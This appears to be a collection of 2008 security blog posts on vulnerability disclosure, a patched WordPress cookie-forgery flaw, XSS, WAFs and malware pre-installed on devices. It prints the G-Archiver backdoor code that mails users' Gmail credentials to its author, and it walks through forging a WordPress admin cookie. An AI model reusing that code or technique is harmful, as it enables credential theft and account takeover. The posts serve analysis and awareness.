Yesterday, Dave Lewis over at LiquidMatrix Security Digest cried foul at Core Security for releasing too much detail about a recent DoS vulnerability they had discovered. His specific gripe was that they provided an IDA Pro excerpt that showed where the vulnerability was triggered. The excerpt is short, so I’ll even copy/paste it here:

.text:00405C1B mov  esi, [ebp+dwLen]  ; Our value from packet
...
.text:00405C20 push edi
.text:00405C21 test esi, esi          ; Check value != 0
...
.text:00405C31 push esi               ; Alloc with our length
.text:00405C32 mov  [ebp+var_4], 0
.text:00405C39 call operator new(uint); Big values return NULL
.text:00405C3E mov  ecx, esi          ; Memcpy with our length
.text:00405C40 mov  esi, [ebp+pDestionationAddr]
.text:00405C43 mov  [ebx+4], eax      ; new result is used as dest
.text:00405C46 mov  edi, eax          ; address without checks.
.text:00405C48 mov  eax, ecx
.text:00405C4A add  esp, 4
.text:00405C4D shr  ecx, 2
.text:00405C50 rep  movsd             ; AV due to invalid
.text:00405C52 mov  ecx, eax          ; destination pointer.
.text:00405C54 and  ecx, 3

Dave asserts that publishing 16 commented assembly instructions makes this disclosure irresponsible. But look at the code — it’s completely generic, just a textbook example of what it looks like when you forget to check a return value after calling operator new. Sure, Core gives you the exact offsets into the executable, but so what? If I have the binary, then it’s not going to be too hard to find the vulnerability anyway. It’s not like Core is giving away a proof-of-concept exploit that generates the malformed registration packet required to trigger the DoS. What’s more, they provide a detailed timeline going back to January 30th of this year describing exactly how the disclosure process with the vendor transpired. This looks extremely responsible to me; I just can’t understand what is “not cool” here.

There’s another interesting angle to this, completely unrelated to Core’s disclosure process. The vulnerability itself is described in the advisory as follows:

Un-authenticated client programs connecting to the service can send a malformed packet that causes a memory allocation operation (a call to new() operator) to fail returning a NULL pointer. Due to a lack of error-checking for the result of the memory allocation operation, the program later tries to use the pointer as a destination for memory copy operation, triggering an access violation error and terminating the service.

This may bring to mind some recent discussions on whether callers of memory allocation functions should check the return value prior to use. To summarize, one camp says “caller should check”, the other camp says “callee should exit on allocation failure.” This is a gross oversimplification and if you want more detailed arguments, read the other blog posts that I linked to. In this case, if the “exit on failure” approach were taken, the DoS scenario might still happen, whereas if the caller were checking, the error could be handled more gracefully. More fuel for the debate!

I was checking out the “new and improved” Dilbert website a few minutes ago, checking out some of the new features and lamenting the overzealous use of Flash. One new feature is called “Mashups.” Naturally, you’d assume that this was some fancy Web 2.0 API that one might use to create a “killer app” combining Google Maps, Twitter, traffic delays, police reports, and Dilbert comics, all neatly packaged up as a privacy-invading Facebook plugin. Sorry, no such luck. “Mashups” turns out to be a way for readers to unleash their inner comedian and create customized punch lines for the daily comic, which can then be voted on by others. For example, here are the mashups from the May 3rd comic.

Below is a screenshot of some of the user-generated comics that can be viewed. I’ve magnified the last pane of one of the strips using Flash’s “Zoom In” feature. Notice anything interesting?

Yep, it’s our old friend URL encoding, commonly used by web browsers to include non-alphanumeric characters into an HTTP request. Just interpret the %XX as a hex number, so %20 is the space character (decimal 32), %21 is an exclamation point (decimal 33) and so on. But why is it showing up in a Dilbert mashups?

My first thought was that someone must be poking around the Dilbert site looking for security holes. But then I noticed that it wasn’t just the one strip; a lot of them had the same problem. And it seemed unlikely that there were that many security-minded people messing with the site relative to the rest of the cubicle dwellers trying to come up with funny things for Dilbert to say.

My next thought was just that some developer just forgot to call urlDecode() — or whatever the Flash equivalent is — on the user-supplied punch line. Except that’s an oversimplication because: 1) it doesn’t happen on every strip, 2) the web server usually strips off the first layer of URL encoding so the backend wouldn’t see it unless it was double encoded (e.g. %2520), and 3) if you click on one of the thumbnail comics with the URL encoding anomaly, the full-size rendered version of the comic looks fine:

So clearly the “preview” code and the “full-size render” code are doing slightly different things with the same data, which may or may not have been properly decoded prior to being inserted into the database.

Any thoughts, readers? The pen tester in me wants to get to the bottom of this, but unlike some of the web app security people out there, I tend to be more conservative about hacking at stuff without a signed contract. Also, I don’t think I can stand to read any more un-funny punch lines. But my gut tells me there is something fairly interesting going on behind the scenes here. Exploitable? Probably not. But it’s a great example of how easy it is to misinterpret data.

Oh finally, here’s a tip from Scott Adams himself on avoiding the Flash navigation and viewing the daily comic as a plain ol’ GIF.

WordPress 2.5.1 came out recently. It includes a critical security fix for a cookie integrity bug that would allow an attacker to impersonate other users, including WordPress admins, by manipulating the contents of an HTTP cookie. Whenever I read about a vulnerability predicated on the user identity being embedded into a client-side token (as opposed to a pseudorandom session identifier), I like to dig a little deeper to see what’s going on.

How does the authentication mechanism work?

The advisory describes the structure of the WordPress authentication cookie as follows:

The new cookies are of the form:

"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . MAC 

Where:

COOKIEHASH:  MD5 hash of the site URL (to maintain cookie uniqueness)
USERNAME:    The username for the authenticated user
EXPIRY_TIME: When cookie should expire, in seconds since start of epoch
MAC:         HMAC-MD5(USERNAME . EXPIRY_TIME) under a key derived
             from a secret and USERNAME . EXPIRY_TIME.

So you login to WordPress with your username and password, and then the login page issues you a cookie such as the one below:

Set-Cookie: wordpress_52440d615a927011d57374216b3ff789=
  admin%7C1209329209%7C7d5e9e67d8f74a2b657b2e63437a1241; path=/blog/

As expected, the cookie contains the username, expiration in epoch time, and an MD5 hash (the %7C’s are the URL-encoded form of the ‘|’ character). The wp_generate_auth_cookie() function generates the cookie as follows:

$key = wp_hash($user->user_login . $expiration);
$hash = hash_hmac('md5', $user->user_login . $expiration, $key);
$cookie = $user->user_login . '|' . $expiration . '|' . $hash;

Each subsequent request that your browser makes to WordPress contains the authentication cookie, which the software then verifies to make sure you are who you say you are. This occurs in the wp_validate_auth_cookie() function:

list($username, $expiration, $hmac) = explode('|', $cookie);
.
.
$key = wp_hash($username . $expiration);
$hash = hash_hmac('md5', $username . $expiration, $key);

if ( $hmac != $hash )
  return false;
$user = get_userdatabylogin($username);
.
.

As you can see, the function parses out the username, expiration, and HMAC from the cookie. It then generates the expected hash value, based on the concatenation of username and expiration, and compares it to the HMAC in the cookie. If the values match, it fetches the user object corresponding to the username in the cookie, and you’re authenticated.

So how can this be attacked?

The authentication mechanism assumes that an attacker cannot calculate the HMAC. However, this assumption is broken because the two inputs used to calculate the HMAC (username and expiration) are not clearly delineated. To illustrate, let’s say I register a new user account and for the username, I select admin0. Now I login to the application and I get back my authentication cookie, which would look something like:

admin0|1209331305|HMAC_FUNCTION("admin01209331305")

Do you see where we are going with this? Now that we know the expected value of HMAC_FUNCTION for the string “admin01209331305″, we can re-use it to our advantage. We simply remove the 0 from the end of the username and prepend it to the expiration time, keeping the HMAC value the same:

admin|01209331305|HMAC_FUNCTION("admin01209331305")

The HMAC calculation checks out, and as far as WordPress is concerned, you’ve just authenticated as the admin user.

How was it fixed, and does it matter to me?

The fix was straightforward: use a delimiter to ensure there is no ambiguity between the username and the expiration when calculating the HMAC. Now when I login as the admin0 user, my cookie looks like this:

admin0|1209331305|HMAC_FUNCTION("admin0|1209331305")

You can’t re-use the calculated HMAC_FUNCTION for “admin0|1209331305″ in any useful way, because there’s no longer ambiguity between the username and expiration values.

As stated in the original advisory, you should upgrade ASAP if your WordPress instance is configured to permit account creation.

Apparently the security blunder of the weekend goes to the Barack Obama campaign for having XSS vulnerabilities throughout their website. There’s no need for me to rehash the story, you can read other articles that describe what happened. My thoughts on the matter are as follows:

• I wish the media wouldn’t refer to this as “hacking Obama’s website” because it’s not quite accurate; XSS attacks end users, not the web site itself. Clearly one makes a better headline than the other.
• Can people (that’s you, security bloggers) stop saying things like “they should have been filtering inputs?” The most effective way to protect against XSS is HTML entity encoding, NOT input validation. Input validation is great and all — and please continue to use it in general — but you’re going to miss something.
• Why is anybody surprised about this? Did anybody really think that the Obama (or Clinton, or McCain) campaigns would be spending money on web security testing? I guess they might be from now on…

All quite amusing nonetheless.

One of my favorite pieces of swag from RSA was this “Not a CISSP” button that was pinned onto me by none other than Sinan Eren as I was chatting with Justine Aitel at the Immunity booth. Actually, there should have been a prize awarded just for finding the Immunity booth — they were subletting another vendor’s space for a few hours at a time, so one minute they’d be there and the next they were gone.

I digress. What inevitably happened once I started walking around with this button proudly displayed was that I would get one of two reactions. The first group — mostly current and former co-workers and acquaintances — understood the humor and got a good chuckle out of it. The second group would ponder for a bit and then ask, with some confusion, why I’d intentionally point out the fact that I’m not a CISSP. I’d give a brief answer and get back to talking about Veracode (we booth babes have responsibilities, you know).

So, why indeed? The long answer is that like many security certifications, it’s an ineffective measure of a security professional’s practical abilities. Employers and customers often assume the guy with the five magic letters on his resume is technically superior to the guy without. In my experience, it’s exactly the opposite, particularly in situations where you have to sit down at a keyboard and actually DO something as opposed to talking about it. Certainly, I’ve encountered some very notable exceptions to this observation, but we’re playing by the 80/20 rule here.

There’s a good reason for this. The trend in information security is toward specialization. Security has become such a broad umbrella of varying disciplines that it’s quite difficult to be a generalist. A security career is a balance between breadth and depth, and these days, the skilled pen tester, reverse engineer, or vulnerability researcher is more marketable than the guy who knows a little bit about dozens of different disciplines but can’t apply that knowledge in a practical situation. The CISSP subject matter illustrates this perfectly — you have cryptographic algorithms, site location principles, network security, and civil law on the same exam. I won’t even get into the complaints I’ve heard about the poorly-worded, overly simplistic exam questions or the ones that simply test one’s ability to memorize obscure facts.

I’m not claiming that there’s no value to holding the CISSP certification. It can’t hurt to have some exposure to business continuity planning, for example. The problem, as I stated in the beginning, is that the CISSP title is often interpreted as an indicator of practical abilities rather than a book-level understanding of security basics. These misaligned expectations can ultimately lead to bad hiring or staffing decisions.

Career advice, take it or leave it: If an employer or prospective employer demands that you get your CISSP in order to be hired or to progress in your career, run fast in the opposite direction and find a place where you will be valued for your cumulative experience rather than a piece of paper. Learn by doing, don’t “learn the test,” so to speak.

And that, in a nutshell, is why I love my “Not a CISSP” button.

By the way, here was my other favorite from RSA, thanks to WhiteHat. This one and “Samy is my hero” were the best out of a pretty clever selection… even though they forgot the semicolon after the single quote. <grin>

I was just reading an article discussing the timeframe for upcoming revisions to the PCI-DSS. Nothing quite so exciting as reading about a compliance roadmap, right? This article reminded us about PCI Section 6.6 becoming mandatory in June 2008, with additional guidance and clarification coming in May (hey, a whole month to prepare!). As a refresher, 6.6 says that web applications must be reviewed by a third party for security vulnerabilities, or a web application firewall (WAF) must be installed. Anyway, in this article, PCI-DSS General Manager Bob Russo makes the following statement:

“Personally, I’d love to see everyone go through on OWASP-based source-code review, but certainly, that’s not going to happen,” Russo said, referring to the expensive and time-consuming process of manual code reviews. “So the application firewall is probably the best thing to do, but there needs to be some clarification around what it needs to do. That clarification is coming; that’s been the biggest question.”

Really? The WAF is the “best thing to do?” Maybe he meant to say “cheapest” or “quickest,” but how is a WAF better than fixing the root cause of vulnerabilities? I don’t deny that a WAF can be valuable to a layered security approach. For example, if I need to quickly plug a hole in my web app, I can configure the WAF to block it, thereby buying time for the development team to fix the problem. Instead of having to fix the bug immediately, it can be rolled into the next release cycle, with the WAF protecting the site in the interim.

Sure, the WAF can protect against some known attacks, and if you set it up the right way, it can attempt to detect and block other, unknown attacks — that is, if it’s configured aggressively enough. Except very few companies will actually do that. Nobody wants to risk the WAF confusing a legitimate request with an attempted attack and subsequently blocking user traffic.

This is why I argued, a while back, that a WAF really should be considered a compensating control since it is more of a band-aid than a best practice solution. That would give the requirement a lot more credibility rather than giving enterprises an easy way out.

Recently making the rounds is this hack against the Facebook Moods application, currently installed by over 84,000 users. By manipulating the fb_sig_user parameter, it’s possible to alter the mood of any user who has the application enabled.

Though this is just another manifestation of an authorization bypass issue, the security community should coin a new buzzword to describe these types of vulnerabilities when they are specific to social networking applications. Given the increasing prevalence of social networking sites and extensible APIs, it seems the logical thing to do. One need only think back to Cross Build Injection (XBI) and Cross-Site Printing (XSP) to realize the importance of a shiny new acronym to raise the visibility of such a critical risk. I propose that, going forward, security practitioners should refer to these vulnerabilities as Cross Social Networking Application Direct Object Reference (XSNADOR). That’s pronounced eks-SNEY-dohr, in case you were wondering.

XSNADOR attacks are very common, they have simply lacked a catchy label for the media to latch on to. Look at all of these Facebook application hacks published last summer. These bugs would have had much greater visibility as XSNADOR attacks — maybe even enough visibility for the author to continue posting. The blogosphere and the twittersphere would have been abuzz, raising the level of awareness everywhere.

If you have a security blog, feel free to take part in a little Cross-Publicity Injection (XPI) and discuss this newly-discovered application security risk with your readership. Help spread the word about XSNADOR! Bonus points for every acronym you reference in your post.

Happy April 1st everyone!

I took part in the L0pht Reunion Panel at the Source Boston conference in Cambridge, MA last Friday. It was a lot of fun to get back together with the “band” and pontificate with no holds barred about the latest security threats, just like we did in the old days.

One of the questions asked of the panel by moderator Michael Fitzgerald (who did a kick-ass job) was, “What scares you the most these days?”. My answer was the proliferation of of inexpensive digital devices made in China that we plug into our computers. The malware problem is getting tricky to dodge. First you couldn’t open email attachments you weren’t expecting. Then you had to worry about surfing even trusted websites with JavaScript turned on, even with the latest patched browsers. Now you have to worry about plugging in the shiny new digital toy you got as a gift. Perhaps its a digital picture frame, digital camera, music player or silly programmable gizmo. Welcome to the age of factory installed malware –the age of devices coming Certified Pre-0wned.

The Associated Press writes:

Recent cases reviewed by The Associated Press include some of the most widely used tech devices: Apple iPods, digital picture frames sold by Target and Best Buy stores and TomTom navigation gear.

In most cases, Chinese factories — where many companies have turned to keep prices low — are the source.

We all know malware is starting to fly under the radar of black list style detection. Low volume malware is flooding the AV labs’ capability to build detection for it. The digital picture frame sold at Sam’s club was infected with previously unknown malware that stole passwords and turned off AV software.

An additional threat that has been reported is devices have been found infecting the flash memory cards that are often inserted to upload photos. From SANS:

“Recently I found a virus on it called Troj_Agent.SAO, which is what Trend Micro named it. Anytime you plug a removable device into it, it would create two files Autorun.inf and autorun.exe. The exe would place itself in the recycler\recycler folder and the .inf would place itself on the root of the removable drive as a hidden file. At first I thought this virus came in on one of our employee’s pen drive but after further investigation I discovered that the files that the virus uses were created on the kiosk the day it was shipped out to us. Also our vendor is using this kiosk in some of their stores at the moment and there have been reports that the kiosks have given their customers a virus. “

We are back to the days of the floppy or “sneaker net” attack vector. Do you know who has touched your SD card or USB drive? Don’t use it in public. Don’t share it with multiple machines. Dan Geer told me he once tossed a USB drive into an audience with the slides for a presentation he just delivered on it. About 10 people passed it around and copied off the slides. It came back with a virus on it. And this was at a security conference.

Here is another data point that simple backdoors are being placed into free applications. A programmer, Dustin Brooks, was inspecting a free Gmail backup utility, called G-Archiver, with Reflector and noticed that not only did it have the authors Gmail credentials baked in, but is was sending the Gmail credentials of every user of the program to the author.

This is an example of an unintended network activity backdoor where information leakage occurs. Here is the code:

public static void CheckConnection(string a, string b)
{
  try
  {
    MailMessage message = new MailMessage();
    message.To.Add("JTerry79@gmail.com");
    message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);
    message.Subject = "Account";
    message.SubjectEncoding = Encoding.UTF8;
    message.Body = "Username: " + a;
    message.Body = message.Body + "\r\nPassword: " + b;
    message.BodyEncoding = Encoding.UTF8;
    message.IsBodyHtml = false;
    message.Priority = MailPriority.High;
    SmtpClient client = new SmtpClient();
    client.Credentials = new NetworkCredential("JTerry79@gmail.com", "bilal482");
    client.Port = 0x24b;
    client.Host = "smtp.gmail.com";
    client.EnableSsl = true;
    client.Send(message);
  }
  catch (Exception)
  { }
}

This obviously wasn’t the smartest backdoor. The writer didn’t need to use the same credentials for for his “drop” account to send the mail. That made it trivial for the investigator to verify what was going on. There was also no attempt at obfuscation.

As a internet community we don’t have a good way yet of dealing with these problems except to hope that someone will inspect the free software at some point, alert people, and then hope that all the people that downloaded the software get contacted so that they can change their Gmail credentials. With other stolen data there is no recourse.

We are stuck in a blacklist mentality for software. People readily download, install, or increasingly often with SaaS, just browse, and type in their credential. Unless users are stopped by a blacklist tool or service they end up taking an unknown risk.